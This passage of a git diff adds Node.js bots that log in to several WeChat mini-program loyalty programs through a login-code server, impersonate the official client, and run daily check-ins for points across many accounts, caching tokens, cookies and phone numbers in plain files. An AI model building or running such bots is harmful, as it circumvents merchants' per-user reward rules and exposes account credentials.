null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + this.cookie = data.cookie || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + options.params = skipToken ? params : this.getBaseParams(params); + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || JSON.stringify(result)); + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientBiz: CLIENT_BIZ, + code, + }, + }); + this.applyToken(data); + this.userInfo = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data.nick_name || data.nickName || ""} ${maskPhone(data.mobile) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + this.points = data?.current_points ?? data?.real_points; + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId; + this.isShow = !!data?.isShow; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow}`); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + if (isTokenError(e.message || e)) this.removeCachedToken(); + } + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到 checkinId,跳过签到`); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []).map((item) => item?.infos?.title).filter(Boolean).join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已达最大参与次数|已签到|重复签到/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + $.log(`账号[${this.index}] 当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yz9d.js b/wxapp/yz9d.js new file mode 100644 index 00000000..e101629f --- /dev/null +++ b/wxapp/yz9d.js @@ -0,0 +1,270 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 戴可思小程序签到 +cron: 25 8 * * * +------------------------------------------ +变量名:dks +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("戴可思小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx9d46d96c4c35a53a"; +const CLIENT_BIZ = "weapp_wsc"; +const KDT_ID = "46323516"; +const USER_VERSION = "2.233.4.101"; +const PAGE_VERSION = "96"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dks_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "dks"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data.accessToken || data.access_token || ""; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + this.cookie = data.cookie || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + options.params = skipToken ? params : this.getBaseParams(params); + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || JSON.stringify(result)); + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientBiz: CLIENT_BIZ, + code, + }, + }); + this.applyToken(data); + this.userInfo = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data.nick_name || data.nickName || ""} ${maskPhone(data.mobile) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + this.points = data?.current_points ?? data?.real_points; + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId; + this.isShow = !!data?.isShow; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow}`); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + if (/access_token|token|登录|授权|invalid session/i.test(String(e.message || e))) this.removeCachedToken(); + } + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到 checkinId,跳过签到`); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []).map((item) => item?.infos?.title).filter(Boolean).join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已达最大参与次数|已签到|重复签到/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (/access_token|token|登录|授权|invalid session/i.test(message)) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + $.log(`账号[${this.index}] 当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yzyj.js b/wxapp/yzyj.js new file mode 100644 index 00000000..78a85d7d --- /dev/null +++ b/wxapp/yzyj.js @@ -0,0 +1,250 @@ +/* +------------------------------------------ +@Description: 微盟onecrm(fansquan)会员 - 微信小程序静默登录 + 每日签到 +cron: 45 8 * * * +------------------------------------------ +变量名:yzyj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxa61f98248d20178b,host xapi.weimob.com,微盟 onecrm/signgift): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +登录 POST /fe/mapi/user/loginX JSON {appid, code, basicInfo:{bosId,cid,tcode:"weimob",vid}, env:"production", + extendInfo:{source:1}, is_pre_fetch_open:true, parentVid:0, pid:"", storeId:"", queryAuthConfig:true} + -> errcode==0,token 取 token/accessToken/access_token/jwt(或 data.*);token 放头 X-WX-Token +签状态 POST /api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo -> data.isSign(true=今日已签) +签到 POST /api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign -> errcode==0 && data.isSign 成功 + (两请求都带一组 weimob 商户头:x-wmsdk-vid / cloud-project-name:fansquan / x-component-is:onecrm/signgift / cloud-bosid 等) + +vid/bosId/merchantId/productInstanceId/wid 等是这家小程序绑定的固定商户配置(原脚本硬编码,非个人凭证)。 +未注册:loginX errcode!=0 或拿不到 token。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("微盟会员签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "yzyj"; +const MINI_APP_ID = "wxa61f98248d20178b"; +const BASE = "https://xapi.weimob.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yzyj_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/fe/mapi/user/loginX"; +const EP_SIGN_STATUS = "/api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo"; +const EP_SIGN = "/api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign"; + +// —— 这家小程序绑定的固定商户配置(原脚本硬编码常量,非个人凭证)—— +const VID = 6016741943359; +const BOS_ID = 4022115200359; +const MERCHANT_ID = 2000230069359; +const CID = 821033359; +const PRODUCT_INSTANCE_ID = 15532102359; +const WID = 11983225884; +const MERCHANT_HEADERS = { + "x-wmsdk-vid": String(VID), + "x-biz-id": "146", + "cloud-project-name": "fansquan", + "x-component-is": "onecrm/signgift", + "cloud-bosid": String(BOS_ID), + "weimob-bosId": String(BOS_ID), +}; +const SIGN_BASIC_INFO = { + vid: VID, vidType: 2, bosId: BOS_ID, productId: 146, + productInstanceId: PRODUCT_INSTANCE_ID, productVersionId: "10003", + merchantId: MERCHANT_ID, tcode: "weimob", cid: CID, +}; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function extractToken(data) { + if (!data || typeof data !== "object") return ""; + const d = data.data || {}; + for (const key of ["token", "accessToken", "access_token", "jwt"]) { + const val = data[key] || d[key]; + if (val && String(val) !== "null") return String(val); + } + return ""; +} + +const isOk = (res) => Number(res?.errcode) === 0; +const msgOf = (res) => res?.errmsg || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => /登录|token|未授权|失效|过期|未登录/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(extra = {}) { + const h = { + Host: "xapi.weimob.com", + "User-Agent": UA, + "Content-Type": "application/json", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/109/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + ...extra, + }; + if (this.token) h["X-WX-Token"] = this.token; + return h; + } + async request(apiPath, body, extra = {}) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: this.headers(extra), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const body = { + appid: MINI_APP_ID, + basicInfo: { bosId: String(BOS_ID), cid: String(CID), tcode: "weimob", vid: String(VID) }, + env: "production", extendInfo: { source: 1 }, + is_pre_fetch_open: true, parentVid: 0, pid: "", storeId: "", + code, queryAuthConfig: true, + }; + const res = await this.request(EP_LOGIN, body); + this.token = extractToken(res); + if (!isOk(res) || !this.token) { + this.unregistered = true; + throw new Error(`NO_TOKEN:${msgOf(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async checkSigned() { + const body = { appid: MINI_APP_ID, basicInfo: SIGN_BASIC_INFO, extendInfo: { wxTemplateId: 7930 } }; + const res = await this.request(EP_SIGN_STATUS, body, MERCHANT_HEADERS); + if (isOk(res)) return !!(res.data || {}).isSign; + return false; + } + async doSign() { + const body = { + appid: MINI_APP_ID, + basicInfo: SIGN_BASIC_INFO, + extendInfo: { + wxTemplateId: 8105, analysis: [], bosTemplateId: 1000002154, + childTemplateIds: [ + { customId: 90004, version: "crm@0.1.81" }, + { customId: 90002, version: "ec@80.0" }, + { customId: 90006, version: "hudong@0.0.251" }, + { customId: 90008, version: "cms@0.0.524" }, + { customId: 90070, version: "1.0.12" }, + ], + quickdeliver: { enable: true }, youshu: { enable: false }, + source: 1, channelsource: 5, refer: "onecrm-signgift", mpScene: 1005, + }, + queryParameter: null, + i18n: { language: "zh", timezone: "8" }, + pid: "", storeId: "", + customInfo: { source: 0, wid: WID }, + }; + return this.request(EP_SIGN, body, MERCHANT_HEADERS); + } + async sign(retry = true) { + if (await this.checkSigned()) return this.log("✅ 今日已签到"); + const res = await this.doSign(); + if (isOk(res)) { + const d = res.data || {}; + const r = d.rewardInfo || {}; + if (d.isSign) { + const pts = r.integral || r.score || 0; + return this.log(`✅ 签到成功:${r.rewardName || "签到奖励"}${pts ? ` +${pts}积分` : ""}`); + } + return this.log(`✅ 已签到(${short(d)})`); + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + try { await this.login(); } catch (e) { if (String(e.message).startsWith("NO_TOKEN")) { this.log(`⚠️ 未注册: ${e.message.slice(9)}`); return; } throw e; } + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_TOKEN")) { + this.log(`⚠️ 该微信号还没在此微盟商户注册会员(登录 ${e.message.slice(9)}),先在小程序里注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/zbs.js b/wxapp/zbs.js new file mode 100644 index 00000000..755b3391 --- /dev/null +++ b/wxapp/zbs.js @@ -0,0 +1,272 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 植白说小程序 +cron: 30 8 * * * +------------------------------------------ +#Notice: +变量名称:zbs +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +需要配置:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("植白说小程序"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("../wxapp/wcs.js"); + +const ckName = "zbs"; +const MINI_APP_ID = "wx6b6c5243359fe265"; +const API_BASE = "https://www.kozbs.com/demo/wx/"; +const TOKEN_CACHE_FILE = path.join(__dirname, "zbs_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027"; +const defaultUserAgent = USER_AGENT; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function isTokenError(message) { + return /(^|[^0-9])501([^0-9]|$)|token|登录|授权|未登录|失效|过期/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached?.token) { + this.token = cached.token; + this.userInfo = cached.userInfo || {}; + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getPoints("当前"); + await this.signIn(); + await this.getPoints("签到后"); + } + + get userId() { + return this.userInfo?.userId || this.userInfo?.id || 1; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.userInfo = {}; + } + + headers(extra = {}) { + const headers = { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + "Accept": "*/*", + "Accept-Language": "zh-CN,zh;q=0.9", + "Referer": "https://servicewechat.com/wx6b6c5243359fe265/171/page-frame.html", + "xweb_xhr": "1", + ...extra, + }; + if (this.token) headers["X-Dts-Token"] = this.token; + return headers; + } + + async request(apiPath, { method = "GET", data = {}, auth = true } = {}) { + const options = { + method, + url: new URL(apiPath, API_BASE).toString(), + headers: this.headers(), + timeout: 15000, + validateStatus: () => true, + }; + if (!auth) delete options.headers["X-Dts-Token"]; + if (method.toUpperCase() === "GET") options.params = data; + else options.data = data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (Number(result?.errno) !== 0) throw new Error(`${result?.errno ?? ""} ${result?.errmsg || result?.message || JSON.stringify(result)}`.trim()); + return result; + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const result = await this.request("auth/login_by_weixin", { + method: "POST", + auth: false, + data: { + code, + userInfo: {}, + shareUserId: 1, + }, + }); + const token = result?.data?.token || ""; + if (!token) throw new Error(`登录响应未返回token: ${JSON.stringify(result)}`); + this.token = token; + this.userInfo = result?.data?.userInfo || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${this.userInfo.nickname || maskPhone(this.userInfo.mobile) || this.userId}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request("user/getUserIntegral", { + data: { userId: this.userId }, + }); + return true; + } catch (e) { + return false; + } + } + + async getPoints(prefix = "当前") { + try { + const result = await this.request("user/getUserIntegral", { + data: { userId: this.userId }, + }); + const integer = result?.data?.integer ?? result?.data?.integral ?? result?.data?.point ?? "未知"; + $.log(`🌸账号[${this.index}] ${prefix}积分: ${integer}🎉`); + } catch (e) { + const message = String(e.message || e); + $.log(`🌸账号[${this.index}] 获取积分失败: ${message}❌`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async signIn() { + try { + const status = await this.request("home/signDay", { + data: { userId: this.userId }, + }); + if (status?.data?.isSign) { + $.log(`🌸账号[${this.index}] 今日已签到`); + return; + } + + await this.request("home/sign", { + data: { userId: this.userId }, + }); + $.log(`🌸账号[${this.index}] 签到成功🎉`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已签|重复/.test(message)) { + $.log(`🌸账号[${this.index}] 今日已签到`); + return; + } + $.log(`🌸账号[${this.index}] 签到失败: ${message}❌`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const options = { + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000, + }; + const { data: res } = await axios.request(options); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/zhanma.js b/wxapp/zhanma.js index 1dd08fb6..43243be3 100644 --- a/wxapp/zhanma.js +++ b/wxapp/zhanma.js @@ -137,12 +137,15 @@ let ok = '' * 获取信息 * */ -async function getuser (timeout = 2 * 1000) { +async function getuser(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getusercenter.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/getusercenter?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -150,6 +153,8 @@ async function getuser (timeout = 2 * 1000) { } $.get(url, async (error, response, data) => { try { + console.log(error) + console.log(data) result = JSON.parse(data) if (result.status == 1) { ok = 1; @@ -186,12 +191,14 @@ async function getuser (timeout = 2 * 1000) { * 获取手机号 * */ -function getTel (timeout = 2 * 1000) { +function getTel(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getuserinfo.php?safe=${zmnlxq}`, + url: 